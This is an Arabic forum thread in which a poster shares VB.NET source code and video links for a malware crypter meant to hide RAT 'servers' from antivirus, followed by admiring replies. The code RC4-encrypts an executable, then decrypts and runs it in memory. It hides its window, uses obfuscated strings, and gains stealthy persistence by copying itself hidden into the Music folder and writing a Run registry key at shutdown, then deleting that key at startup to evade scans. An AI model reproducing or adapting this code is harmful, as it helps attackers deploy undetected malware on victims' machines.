حالة الموضوع:
مغلق
  1. ♕| s c я є α м |♕

    ♕| s c я є α м |♕ مشرف

    الأنتساب:
    ‏23 ديسمبر 2014
    المشاركات:
    630
    الإعجابات المتلقاة:
    668
    نقاط الجائزة:
    93
    الإقامة:
    7
    [​IMG]


    [​IMG]

    السلام عليكـــم ورحمة الله وبركاته ...*


    أقدم لكم موضوعي في المسابقة :ُeُe1^:...*
    وقسمت الموضوع الي أثنين فديو واحد يشرح طريقة صناعة برنامج بسيط يساعدنا في التشفير البرمجي والفديو الثاني لتشفير السيرفر بخورزميه Rc2 كل ماتحتاجه من أدوات فجوال ستديو فقط {1!$1}


    [​IMG]

    الفديو الاول لعمل برنامج يولد لنا قيم حتى نستخدمها في الشرح القادم


    https://www.youtube.com/watch?v=N8Be3FLMrDE&feature=youtu.be


    الكود المستخدم


    [C#]Imports System.IO
    Public Class Form1
    Dim sccx As String
    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
    On Error Resume Next
    Text = 1
    RichTextBox2.Text = ""
    Dim dd As String = RichTextBox1.Text
    RichTextBox2.Text = dd.Chars(0)
    Timer1.Enabled = True
    End Sub
    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
    Try
    ProgressBar1.Maximum = Button2.Text
    Dim ss1 As String = RichTextBox1.Text
    RichTextBox2.Text += TextBox2.Text + String.Join("", ss1.Chars(Text))
    Text += 1
    Catch ex As Exception
    Timer1.Enabled = False
    ProgressBar1.Value = 0
    MsgBox("End")
    End Try
    sccx = RichTextBox1.Text
    Button2.Text = (sccx.Length)
    Button2.Text = sccx.Length
    ProgressBar1.Value = Text
    End Sub
    Private Shared Function RC4Encrypt(ByVal A6 As Byte(), ByVal A7 As String) As Byte()
    On Error Resume Next
    Dim A1 As Byte() = System.Text.Encoding.ASCII.GetBytes(A7)
    Dim A2, A3, A4 As UInteger
    Dim A5 As UInteger() = New UInteger(255) {}
    Dim A9 As Byte() = New Byte(A6.Length - 1) {}
    For A2 = 0 To 255
    A5(A2) = A2
    Next
    For A2 = 0 To 255
    A3 = (A3 + A1(A2 Mod A1.Length) + A5(A2)) And 255
    A4 = A5(A2)
    A5(A2) = A5(A3)
    A5(A3) = A4
    Next
    A2 = 0 : A3 = 0
    For A8 = 0 To A9.Length - 1
    A2 = (A2 + 1) And 255
    A3 = (A3 + A5(A2)) And 255
    A4 = A5(A2)
    A5(A2) = A5(A3)
    A5(A3) = A4
    A9(A8) = A6(A8) Xor A5((A5(A2) + A5(A3)) And 255)
    Next
    Return A9
    End Function
    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
    On Error Resume Next
    If Button1.Text = "Xo" Then
    Dim dialog As New OpenFileDialog
    dialog.Filter = "Executable|*.exe"
    If (dialog.ShowDialog = DialogResult.OK) Then
    Me.TextBox1.Text = dialog.FileName
    Button1.Text = "En"
    Else
    Me.TextBox1.Text = ""
    End If
    Else
    Me.RichTextBox1.Text = ""
    Dim inArray As Byte() = RC4Encrypt(File.ReadAllBytes(Me.TextBox1.Text), "KeyEncrypt")
    Me.RichTextBox1.Text = Convert.ToBase64String(inArray)
    Button1.Text = "Xo"
    End If
    End Sub
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    TextBox2.Text = "^_^"
    End Sub
    End Class


    [/C#]

    [​IMG]

    بعد الانتهاء من المقطع الاول وصناعة البرنامج
    الشرح الثاني وهو لتكوين السيرفر وتشفيره برمجين فقط وبدون استخدام برامج اسمبلي او زيادة في الادوات وكانت النتيجه مكشوف من Nona فقط تقدر تكمل عليه هيكس او برنامج مساعد او تستتخدم ادوات ToolBox


    https://www.youtube.com/watch?v=9LLv_66yFQI&feature=youtu.be


    [C#]Imports System.IO
    Public Class Form1
    Dim A1 As String = "C", A2 As String = ":", A3 As String = "\", A4 As String = "U", A5 As String = "s", A6 As String = "e", A7 As String = "r", A8 As String = "s", A9 As String = "\" '
    Public H7 As Byte = 54 \ 7 - 5 & 3 * 2 / 1 - 5 & 7077 * 2 - 4000 - 10147
    Dim Z1 As String = "S"
    Dim Z2 As String = "C"
    Dim Z3 As String = "R"
    Dim Z4 As String = "E"
    Dim Z5 As String = "A"
    Dim Z6 As String = "M"
    Public Function C0(ByVal C2 As Byte(), ByVal C1 As String) As Byte() '
    On Error Resume Next
    Dim C8 As Byte() = System.Text.Encoding.ASCII.GetBytes(C1), C9, C6, C5 As UInteger, C7 As UInteger() = New UInteger(4 + 3 * 4 + 500 / 2 - --11) {}, C3 As Byte() = New Byte(C2.Length - 1) {}
    For C9 = 5 * 23 + 3 - 30 - 88 To 55 * 3 * 4 + 90 / 2 - 11 - 400 + 1 - 40
    C7(C9) = C9
    Next
    For C9 = 5 * 23 + 3 - 30 - 88 To 55 * 3 * 4 + 90 / 2 - 11 - 400 + 1 - 40
    C6 = (C6 + C8(C9 Mod C8.Length) + C7(C9)) And 55 * 3 * 4 + 90 / 2 - 11 - 400 + 1 - 40
    C5 = C7(C9)
    C7(C9) = C7(C6)
    C7(C6) = C5
    Next
    C9 = 5 * 23 + 3 - 30 - 88 : C6 = 5 * 23 + 3 - 30 - 88
    For C4 = 5 * 23 + 3 - 30 - 88 + 1 - 1 To C3.Length - 1 + 1 - 2 * 55 / 5 + 21
    C9 = (C9 + 1) And 55 * 3 * 4 + 90 / 2 - 11 - 400 + 1 - 40
    C6 = (C6 + C7(C9)) And 55 * 3 * 4 + 90 / 2 - 11 - 400 + 1 - 40
    C5 = C7(C9)
    C7(C9) = C7(C6)
    C7(C6) = C5
    C3(C4) = C2(C4) Xor C7((C7(C9) + C7(C6)) And 24 / 6 + 19 + 206 + 26)
    Next
    Return C3
    End Function
    Function H6(Yo)
    On Error Resume Next
    Dim S1 As String = "K", S3 As String = "e", S4 As String = "y", S5 As String = "E", S6 As String = "n", S7 As String = "c", S8 As String = "r", S9 As String = "y", S0 As String = "p", G1 As String = "t" '
    Dim S2$ = RichTextBox1.Text
    Dim C81 As Byte() = C0(Convert.FromBase64String(S2), S1 + S3 + S4 + S5 + S6 + S7 + S8 + S9 + S0 + G1)
    AppDomain.CurrentDomain.Load(C81).EntryPoint.Invoke(Nothing, Nothing)
    End Function
    Dim G2 As String = "^_^"
    Dim G3$
    Dim G4 As String = "S", G6 As String = "C", G7 As String = "-", G8 As String = "4", G9 As String = "3", G0 As String = "2", K1 As String = "1", K2 As String = ".", K3 As String = "E", K4 As String = "X", K5 As String = "E" '
    Dim G5$ = G4 + G6 + G7 + G8 + G9 + G0 + K1 + K2 + K3 + K4 + K5
    Dim S3 As String = "\"
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    On Error Resume Next
    Me.Hide()
    Me.ShowInTaskbar = 0 <> 0
    Text = 1 '
    Timer1.Enabled = 0 <> 1 '
    Timer1.Interval = 1
    RichTextBox1.Text = My.Resources.d.ToString
    RichTextBox1.Text = RichTextBox1.Text.Replace(G2, "").Trim()
    Timer2.Enabled = 0 <> 1
    Timer2.Interval = 1
    Dim K6 As Microsoft.Win32.RegistryKey
    K6 = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("S" + "O" + "F" + "T" + "W" + "A" + "R" + "E" + S3 + "M" + "i" + "c" + "r" + "o" + "s" + "o" + "f" + "t" + S3 + "W" + "i" + "n" + "d" + "o" + "w" + "s" + S3 + "C" + "u" + "r" + "r" + "e" + "n" + "t" + "V" + "e" + "r" + "s" + "i" + "o" + "n" + S3 + "R" + "u" + "n", 0 <> 1)
    K6.DeleteValue(Z1 + Z2 + Z3 + Z4 + Z5 + Z6)
    G3 = System.Environment.UserName
    Dim K7 As String = S3, K8 As String = "M", K9 As String = "u", F1 As String = "s", F2 As String = "i", F3 As String = "c", F4 As String = S3 '
    For Each i In System.IO.Directory.GetFiles(A1 + A2 + A3 + A4 + A5 + A6 + A7 + A8 + A9 + G3 + K7 + K8 + K9 + F1 + F2 + F3 + F4 + G5)
    IO.File.Delete(A1 + A2 + A3 + A4 + A5 + A6 + A7 + A8 + A9 + G3 + K7 + K8 + K9 + F1 + F2 + F3 + F4 + G5)
    Next
    End Sub
    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
    Do
    On Error Resume Next
    Text += 1
    If Text = 150 Then
    If RichTextBox1.Find(G2, 0, RichTextBox1.Text.Length, RichTextBoxFinds.None) = -1 Then
    Dim F5# = 24 / 6 + 19
    Dim H1 As Short = 956
    Dim H2 As Short = -8
    Dim H3 As Short = 203
    Dim H4 As Short = -9663
    Dim H5 As Object = -8439651
    Dim S7 As Double = F5 Mod H1 + 93 * 9 - 1922 & H7 = +3
    H6(Nothing)
    Select Case H4
    Case H1
    Do Until F5
    H5 = 3
    Loop
    End Select
    If H1 = 3920 Then
    F5 = 6 And H7 = 98
    If Not H7 = 98 Or F5 Mod 30 Then


    End If
    End If
    Timer1.Enabled = 0 <> 0
    Timer2.Interval = 1
    Timer2.Enabled = 0 <> 1
    End If
    End If
    Loop
    End Sub
    Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
    Do
    On Error Resume Next
    Dim H8 As String = "L"
    Dim H9 As String = "o"
    Dim X1 As String = "g"
    Dim X2 As String = "o"
    Dim X3 As String = "n"
    Dim X4 As String = "U"
    Dim X5 As String = "I"
    Dim X6 As String = H8 + H9 + X1 + X2 + X3 + X4 + X5
    Dim L2() As Process = System.Diagnostics.Process.GetProcessesByName(X6)
    For Each L1 As Process In L2 '
    Dim X7 As String = S3, P1 As String = "M", P2 As String = "u", P3 As String = "s", P4 As String = "i", P5 As String = "c", P6 As String = S3 '
    Dim X8$ = My.Computer.FileSystem.SpecialDirectories.MyMusic & S3 & G5 '
    File.Copy(Application.ExecutablePath, X8)
    System.IO.File.SetAttributes(X8, IO.FileAttributes.Hidden)
    Dim K6 As Microsoft.Win32.RegistryKey
    K6 = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("S" + "O" + "F" + "T" + "W" + "A" + "R" + "E" + S3 + "M" + "i" + "c" + "r" + "o" + "s" + "o" + "f" + "t" + S3 + "W" + "i" + "n" + "d" + "o" + "w" + "s" + S3 + "C" + "u" + "r" + "r" + "e" + "n" + "t" + "V" + "e" + "r" + "s" + "i" + "o" + "n" + S3 + "R" + "u" + "n", 0 <> 1) 'P
    K6.SetValue(Z1 + Z2 + Z3 + Z4 + Z5 + Z6, X8)
    K6.Close()
    Next
    Loop
    End Sub
    End Class




























    [/C#]









    :ُeُe1^:




    وفي الاخير احب أقلك ان طريقة التثبيت السيرفر ليس فيالستأرت كـ المعتاد او الرجستري او في الجهاز كاملههههه سحر برمجي :ُ{6e}:ُ

    كود التثبيت اول ماتشغل السيرفر لاينسخ نفسه في اي مكان أبداء عندما المستخدم يغلق الجهاز سوف تنغلق برامج الفحص مع كلشي في الجهاز ولكن السيرفر في لحظات موته الاخيره راح ينسخ قيمه في الستارت أب بتشغيل نفسه من مسار مجلد الموسيقى وينسخ نفسه في مجلد الموسيقى وينغلق الجهاز :{13}: يجي المستخدم يشغل الجهاز اليوم الثاني يشتغل السيرفر ويحذف القيمه الي نسخهها قبل وفاته هههه وكذا يجي هو يفحص مافي تثبيت في الجهاز ولا في الستارت اب ولا رجستري ولاشي والعمليه شغاله وكذا التثبيت بعملية تكرار




    وبنهاية الموضوع اهداء للكل بدون استثناء :ُeُiy:


     
    1 person likes this.
  2. المعاقب الصدري

    المعاقب الصدري V • I • P

    الأنتساب:
    ‏20 يوليو 2014
    المشاركات:
    924
    الإعجابات المتلقاة:
    681
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    رد: موضـــوع مسابقة ( التشفير ) تشفيــر سيرفرات المبرمجه بلغة Vb .net

    احسنت سكريم تشفيرة قاتلة
     
  3. !»°بہًكہًر الہًعہًراقہًي°«!

    !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм V • I • P

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    632
    الإعجابات المتلقاة:
    1,410
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    رد: موضـــوع مسابقة ( التشفير ) تشفيــر سيرفرات المبرمجه بلغة Vb .net

    عاشت ايدك اخي باين داخل بقوه هههه تشفير جمليه جدا بالتوفيق بالمسابقه
     
  4. ♕| s c я є α м |♕

    ♕| s c я є α м |♕ مشرف

    الأنتساب:
    ‏23 ديسمبر 2014
    المشاركات:
    630
    الإعجابات المتلقاة:
    668
    نقاط الجائزة:
    93
    الإقامة:
    7
    رد: موضـــوع مسابقة ( التشفير ) تشفيــر سيرفرات المبرمجه بلغة Vb .net

    اهلا فيك حبي والله منور الموضوع بمرورك :ُce@:
     
  5. ♕| s c я є α м |♕

    ♕| s c я є α м |♕ مشرف

    الأنتساب:
    ‏23 ديسمبر 2014
    المشاركات:
    630
    الإعجابات المتلقاة:
    668
    نقاط الجائزة:
    93
    الإقامة:
    7
    رد: موضـــوع مسابقة ( التشفير ) تشفيــر سيرفرات المبرمجه بلغة Vb .net

    ههههه :lolًٌُ:ٌ
     
  6. محمد عبد الرضا

    محمد عبد الرضا Developer

    الأنتساب:
    ‏4 مارس 2015
    المشاركات:
    61
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    رد: موضـــوع مسابقة ( التشفير ) تشفيــر سيرفرات المبرمجه بلغة Vb .net

    رؤؤؤؤؤؤؤؤؤؤعه شرح اكثر من رائع
     
  7. SMART-AL-Falahi

    SMART-AL-Falahi Developer

    الأنتساب:
    ‏14 فبراير 2015
    المشاركات:
    156
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    الإقامة:
    Oman
    رد: موضـــوع مسابقة ( التشفير ) تشفيــر سيرفرات المبرمجه بلغة Vb .net

    وحش شرح ابدع وووواصل
     
  8. AHMAD MOSAAD

    AHMAD MOSAAD Developer

    الأنتساب:
    ‏31 مارس 2012
    المشاركات:
    89
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الوظيفة:
    Student
    الإقامة:
    Egypt
    رد: موضـــوع مسابقة ( التشفير ) تشفيــر سيرفرات المبرمجه بلغة Vb .net

    بآرك آلله فيك يآلغآلي {1!$7}


    [BGYELLOW]ماذا تعتقد في مشاركة ♕| s c я є α м |♕؟يعجبني ويستحق التقييم
    [/BGYELLOW]
     
  9. جوني العراقي

    جوني العراقي V • I • P

    الأنتساب:
    ‏10 يناير 2014
    المشاركات:
    277
    الإعجابات المتلقاة:
    50
    نقاط الجائزة:
    28
    الوظيفة:
    حلاق
    الإقامة:
    NEDRLALND
    رد: موضـــوع مسابقة ( التشفير ) تشفيــر سيرفرات المبرمجه بلغة Vb .net

    والله عاشت ايدك ياغالي موضوع جميل وقوي
     
  10. rebih

    rebih Developer

    الأنتساب:
    ‏11 مايو 2014
    المشاركات:
    86
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    رد: موضـــوع مسابقة ( التشفير ) تشفيــر سيرفرات المبرمجه بلغة Vb .net

    وحش كعادتك واصل [​IMG]
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة